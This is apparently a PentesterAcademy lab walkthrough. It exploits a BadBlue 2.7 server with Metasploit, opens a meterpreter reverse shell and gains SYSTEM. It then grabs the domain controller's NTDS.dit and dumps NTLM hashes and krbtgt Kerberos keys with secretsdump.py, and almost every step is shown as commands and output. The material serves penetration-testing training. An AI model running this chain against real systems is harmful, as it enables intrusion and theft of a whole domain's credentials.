
ATTACK
DEFENSE
by PentesterAcademy

Name	Metasploit: Credential Dumping: NTDS.dit
URL	https://attackdefense.com/challengedetails?cid=2348
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.24.108
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.24.108

```
root@attackdefense:~# nmap 10.0.24.108
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-18 09:36 IST
Nmap scan report for 10.0.24.108
Host is up (0.057s latency).
Not shown: 980 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2.53 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.24.108

```
root@attackdefense:~# nmap -sV -p 80 10.0.24.108
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-18 09:37 IST
Nmap scan report for 10.0.24.108
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue 2.7

```
root@attackdefense:~# searchsploit badblue 2.7
------------------------------------------------------------
 Exploit Title
------------------------------------------------------------
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources BadBlue 1.2.7 - Denial of Service
Working Resources BadBlue 1.2.7 - Full Path Disclosure
------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
root@attackdefense:~#
```

Step 5: There is a Metasploit module for badblue server. We will use the Metasploit module to exploit the target.

Commands:
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.24.108
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.24.108
RHOSTS => 10.0.24.108
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.24.108
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.24.108:49258) a

meterpreter > 
```

We have successfully exploited a badblue server and we are running as an administrator user.

Step 6: Get NT authority privilege

Command: getsystem
getuid

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

Step 7: Check the ntds location using the metasploit auxiliary module and extract the data using ntds grabber metasploit auxiliary module.

Commands: background
use post/windows/gather/ntds_location
set session 1
exploit

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/badblue_passthru) > use post/windows/gather/ntds_location
msf6 post(windows/gather/ntds_location) > set session 1
session => 1
msf6 post(windows/gather/ntds_location) > exploit

NTDS.DIT is located at: C:\Windows\NTDS\ntds.dit
      Size: 20987904 bytes
   Created: 2021-04-27 14:36:44 +0530
  Modified: 2021-05-19 12:45:29 +0530
  Accessed: 2021-04-27 14:36:44 +0530
[*] Post module execution completed
msf6 post(windows/gather/ntds_location) >
```

NTDS is located successfully. Use ntds grabber to extract data.

Commands:
use post/windows/gather/ntds_grabber
set session 1
exploit

```
msf6 > use post/windows/gather/ntds_grabber
msf6 post(windows/gather/ntds_grabber) > set session 1
session => 1
msf6 post(windows/gather/ntds_grabber) > exploit

[+] Running as SYSTEM
[+] Running on a domain controller
[+] PowerShell is installed.
[-] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] Got pid 1004
[*] Migrating..
[+] Success!
[*] Powershell Script executed
[*] Creating All.cab
[*] Waiting for All.cab
[*] Waiting for All.cab
[+] All.cab should be created in the current working directory
[*] Downloading All.cab
[+] All.cab saved in: /root/.msf4/loot/20210518094740_default_10.0.24.108_CabinetFile_447120.cab
[*] Removing All.cab
[+] All.cab Removed
[*] Post module execution completed
msf6 post(windows/gather/ntds_grabber) >
```

All the data is stored in a **.cab** format.

Step 8: Open new terminal and extract .cab file using cabextract utility.

Command: cabextract /root/.msf4/loot/20210518094740_default_10.0.24.108_CabinetFile_447120.cab
ls

```
root@attackdefense:~# cabextract /root/.msf4/loot/20210518094740_default_10.0.24.108_CabinetFile_447120.cab
Extracting cabinet: /root/.msf4/loot/20210518094740_default_10.0.24.108_CabinetFile_447120.cab
  extracting SAM
  extracting SYSTEM
  extracting ntds.dit

All done, no errors.
root@attackdefense:~# ls
Desktop  impacket  ntds.dit  SAM  SYSTEM  thinclient_drives
root@attackdefense:~#
```

All the files are extracted in the 'root' folder.

Step 9: Extracting all the hashes using secretsdump.py script.

Command: secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

```
root@attackdefense:~# secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.9.23.dev1+20210315.121412.a16198c - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x23675d238b2d51b9bd6c6885a4fbe6cf
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d19b4c155280c6a1fb68c7bcfe2a0022
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
WIN-OMCNBKR66MN$:1010:aad3b435b51404eeaad3b435b51404ee:0fb004801d747a28f4fc1ab31a6a5dcd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:942b5aa9335a9f91cc96aef28f78699c:::
[*] Kerberos keys from ntds.dit
WIN-OMCNBKR66MN$:aes256-cts-hmac-sha1-96:e3a65948cab55329aef9ec5b5842e3813e07bf41048945bb45ac99c5906358fd
WIN-OMCNBKR66MN$:aes128-cts-hmac-sha1-96:c07f4e89661240cd34e2bd4a8b5b99f4
WIN-OMCNBKR66MN$:des-cbc-md5:4376ab68ad64bff1
krbtgt:aes256-cts-hmac-sha1-96:2c4d0074a2dc91a9370c762442b8706cf58e9fe27ff3fe74d3c98450336492be
krbtgt:aes128-cts-hmac-sha1-96:8857ad2e818a5fbe3bb5dde591a72716
krbtgt:des-cbc-md5:32a7c43219ea04fb
[*] Cleaning up...
root@attackdefense:~#
```

This revealed the flags to us:

Bob User NTLM Hash: 5835048ce94ad0564e29a924a03510ef

Krbtgt Kerberos Key AES256-CTS-HMAC-SHA1-96:
2c4d0074a2dc91a9370c762442b8706cf58e9fe27ff3fe74d3c98450336492be

References

1. BadBlue 2.72b - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
3. NTDS Grabber (https://www.rapid7.com/db/modules/post/windows/gather/ntds_grabber/)
4. Post Windows Gather NTDS.DIT Location (https://www.rapid7.com/db/modules/post/windows/gather/ntds_location/)